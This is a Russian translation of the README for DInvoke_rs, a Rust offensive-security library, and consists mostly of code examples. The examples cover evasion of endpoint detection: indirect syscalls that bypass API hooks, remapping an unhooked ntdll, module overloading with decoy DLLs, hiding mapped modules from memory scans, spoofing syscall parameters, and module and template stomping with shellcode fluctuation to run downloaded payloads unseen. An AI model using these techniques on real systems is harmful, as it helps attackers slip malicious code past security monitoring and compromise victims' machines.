
Динамический вызов произвольного неуправляемого кода
Rust-порт Dinvoke. DInvoke_rs может использоваться для многих целей, таких как разбор PE-файлов, динамическое разрешение экспортируемых функций, динамическая загрузка PE-плагинов во время выполнения, обход хуков API и многое другое.
Возможности:
Вся заслуга принадлежит создателям оригинальной C#-реализации этого инструмента:
Добавьте этот крейт в свой проект, вставив следующую строку в ваш cargo.toml:```rust
[dependencies]
dinvoke_rs = "0.2.2"
# Примеры
## Разрешение экспортируемых API
Приведённый ниже пример демонстрирует, как использовать DInvoke_rs для динамического поиска и вызова экспортируемых функций DLL (в данном случае `ntdll.dll`).
1) Получить базовый адрес ntdll.
2) Используйте `get_function_address()` для поиска экспортируемой функции в `ntdll.dll` по имени. Это достигается путём обхода и разбора EAT DLL.
3) Вы также можете найти экспортируемую функцию по порядковому номеру, вызвав `get_function_address_by_ordinal()`.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
println!("ntdll.dll base address is 0x{:X}", ntdll);
// Dynamically obtain the address of a function by name.
let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
if nt_create_thread != 0
{
println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
}
// Dynamically obtain the address of a function by ordinal.
let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
if ordinal_8 != 0
{
println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
}
}
}
В приведённом ниже примере мы используем DInvoke_rs для динамического вызова RtlAdjustPrivilege, чтобы включить SeDebugPrivilege для токена текущего процесса. Такой вид выполнения обойдёт любые перехватчики API, присутствующие в Win32. Кроме того, он не создаст ни одной записи в таблице адресов импорта итогового PE, что затрудняет обнаружение поведения PE без его выполнения.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
unsafe
{
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
}
## Выполнение косвенного системного вызова
В следующем примере мы используем DInvoke_rs для выполнения системного вызова, соответствующего функции `NtQueryInformationProcess`. Поскольку макрос `execute_syscall!()` динамически выделяет и выполняет шелл-код, необходимый для осуществления нужного системного вызова, все хуки, присутствующие в `ntdll.dll`, обходятся. Выделенная память освобождается после возврата из системного вызова, что исключает постоянное присутствие страниц памяти с правом на выполнение.```rust
use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};
fn main() {
unsafe
{
let function_type:NtQueryInformationProcess;
let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
let handle = GetCurrentProcess();
let p = PROCESS_BASIC_INFORMATION::default();
let process_information: PVOID = std::mem::transmute(&p);
let r = u32::default();
let return_length: *mut u32 = std::mem::transmute(&r);
dinvoke_rs::dinvoke::execute_syscall!(
"NtQueryInformationProcess",
function_type,
ret,
handle,
0,
process_information,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
return_length
);
let pbi: *mut PROCESS_BASIC_INFORMATION;
match ret {
Some(x) =>
if x == 0 {
pbi = std::mem::transmute(process_information);
let pbi = *pbi;
println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
},
None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
}
}
}
В этом примере DInvoke_rs используется для ручного сопоставления свежей копии ntdll.dll без EDR-хуков. Затем эту свежую копию ntdll.dll можно использовать для выполнения любой нужной функции.
Это ручное сопоставление также может быть выполнено из памяти (в этом случае используйте manually_map_module()), что позволяет выполнить классическую рефлексивную DLL-инъекцию.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
## Перегрузка раздела памяти
В следующем примере DInvoke_rs используется для создания поддерживаемого файлом раздела памяти с последующей его перегрузкой путем ручного проецирования PE. По умолчанию раздел памяти будет указывать на легитимный файл, расположенный в `%WINDIR%\System32\`, но можно использовать любой другой модуль-приманку.
Эту перегрузку также можно выполнить, проецируя PE из памяти (как показано в следующем примере), что позволяет выполнить перегрузку без записи полезной нагрузки на диск.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let payload: Vec<u8> = your_download_function();
// This will map your payload into a legitimate file-backed memory section.
let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
// Then any exported function of the mapped PE can be dynamically called.
// Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
let func_ptr: unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
let ret: Option<i32>; // The value that the called function will return
let parameter1: i32 = 10;
let parameter2: i32 = 20;
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);
match ret {
Some(x) =>
println!("The function returned the value {}", x),
None => panic!("[x] Error!"),
}
}
}
DInvoke_rs позволяет скрывать отображённые PE-файлы, когда они не используются, что затрудняет проверку памяти EDR и обнаружение подозрительной DLL в вашем процессе.
Например, предположим, мы хотим отобразить свежую копию ntdll.dll, чтобы обойти хуки EDR. Поскольку наличие двух ntdll.dll в одном процессе может считаться подозрительным поведением, мы можем отобразить ntdll и скрывать его всякий раз, когда не используем его. Это очень похоже на технику флуктуации шеллкода, хотя в данном сценарии мы можем воспользоваться тем фактом, что отображаем PE в легитимный файловый раздел памяти (file-backed memory section), поэтому мы можем заменить содержимое ntdll содержимым исходного модуля-приманки, на который указывает этот раздел.```rust
use dinvoke_rs::dmanager::Manager;
fn main() {
unsafe
{
// The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios
let mut manager = Manager::new();
// This will map ntdll.dll into a memory section pointing to cdp.dll.
// It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
// This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
// Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);
// Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
let _ = manager.map_module(overload.1);
// After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
// Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
let _ = manager.hide_module(overload.1);
}
}
## Спуфинг параметров системных вызовов
Чтобы подделать первые 4 параметра системного вызова, DInvoke_rs поддерживает аппаратные точки останова в сочетании с обработчиками исключений. Это позволяет отправлять безобидные параметры в функцию NT, и после того, как EDR их проверит, они заменяются исходными параметрами перед выполнением инструкции syscall. Для получения дополнительной информации загляните в репозиторий, откуда взята оригинальная идея: [TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls).
На данный момент эта возможность реализована для функций `NtOpenProcess`, `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtWriteVirtualMemory` и `NtCreateThreadEx`. Чтобы использовать её, достаточно активировать эту возможность, установить обработчик исключений и вызвать нужную функцию через Dinvoke.```rust
use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};
fn main() {
unsafe
{
// We active the use of hardware breakpoints to spoof syscall parameters
dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
// We get the memory address of our function and set it as a VEH
let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);
let h = HANDLE {0: -1 as _};
let handle: *mut HANDLE = std::mem::transmute(&h);
let access = THREAD_ALL_ACCESS;
let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
// We set the PID of the remote process
let remote_pid = 472isize;
let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
let client_id: *mut ClientId = std::mem::transmute(&c);
// A call to NtOpenProcess is performed through Dinvoke. The parameters will be
// automatically spoofed by the function and restored to the original values
// before executing the syscall.
let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);
println!("NTSTATUS: {:x}", ret);
dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
}
}
overload-крейт Dinvoke_rs теперь позволяет выполнять module stomping, вызывая функцию managed_module_stomping(). Первым параметром этой функции является содержимое shellcode. Два других параметра изменяют поведение функции, позволяя реализовать три различных пути выполнения, описанные ниже.
На мой взгляд, лучше всего использовать эту функцию так: загрузить легитимную DLL в процесс и позволить Dinvoke определить подходящее место в этой DLL, куда можно записать ваш shellcode. Для этого базовый адрес DLL передаётся третьим параметром managed_module_stomping(). Второй аргумент должен быть нулевым. В этом случае Dinvoke будет перебирать данные исключений DLL в поисках легитимной функции, достаточно большой для размещения shellcode.```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
Вы также можете указать точное расположение, куда должен быть вставлен шеллкод, передав адрес памяти вторым параметром:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
Наконец, вы можете позволить Dinvoke автоматически определить адрес, по которому будет размещён шеллкод. Это делается путём перебора данных об исключениях всех загруженных модулей, пока не будет найдена подходящая функция. Этот параметр может привести к неожиданному поведению, поэтому я не очень рекомендую его использовать, если у вас нет другого варианта.```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
После того как шеллкод был затоптан, вы можете использовать crate `dmanager`, чтобы скрыть/перезаписать ваш шеллкод, что позволяет выполнять флуктуацию шеллкода:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
...
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
Template stomping — это производная техника module stomping, адаптированная специально для DLL. В настоящее время эта техника позволяет загружать DLL только в текущий процесс, удалённые процессы не поддерживаются.
Основная цель — создать шаблон из DLL, заменив содержимое секции .text произвольными данными, что позволяет записать шаблон на диск без привлечения внимания. Этот шаблон создан таким образом, чтобы его можно было загрузить в процесс с помощью вызова LoadLibrary. Затем исходное содержимое секции .text можно загрузить прямо в память процесса и записать поверх соответствующей области памяти шаблона. Эта техника может быть эффективно реализована с помощью двух основных функций: generate_template и template_stomping.
Функция generate_template предназначена для создания шаблона из исходной DLL путём извлечения содержимого секции .text и замены его произвольными данными. Это гарантирует, что шаблон сохраняет свою структуру, но не содержит значимого исполняемого кода, за исключением точек входа и TLS-колбэков, которые заменяются фиктивными, но работоспособными инструкциями на ассемблере. Исходное содержимое секции .text сохраняется отдельно в payload.bin, а итоговый файл шаблона сохраняется как template.dll.```rust
fn main ()
{
let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory");
match template
{
Ok(()) => { println!("Template successfully generated.");}
Err(x) => { println!("Error ocurred: {x}");}
}
}
Затем шаблон может быть сохранён на диск в **целевой системе** и загружен в текущий процесс путём вызова `LoadLibrary`. После того как шаблон будет загружен операционной системой, следующий шаг включает затирание секции `.text` шаблона исходным исполняемым содержимым, хранящимся в `payload.bin`. Этот процесс выполняется функцией `template_stomping`, которая затирает нужную область памяти исходным исполняемым содержимым, учитывая все детали, связанные с этим процессом.```rust
fn main ()
{
unsafe
{
let mut payload = http_download_payload(); // Download payload.bin content directly to memory
let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);
let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
let function: extern "system" fn() = std::mem::transmute(function_ptr);
function();
}
}
Этот метод позволяет загружать DLL в регионы памяти, поддерживаемые диском, без записи реального исполняемого содержимого в файловую систему (устраняя необходимость в приватных регионах памяти и обходя статический/динамический анализ EDR), а также позволяет сохранять чистый стек вызовов во время выполнения кода DLL, в отличие от того, что происходит при рефлексивной загрузке DLL.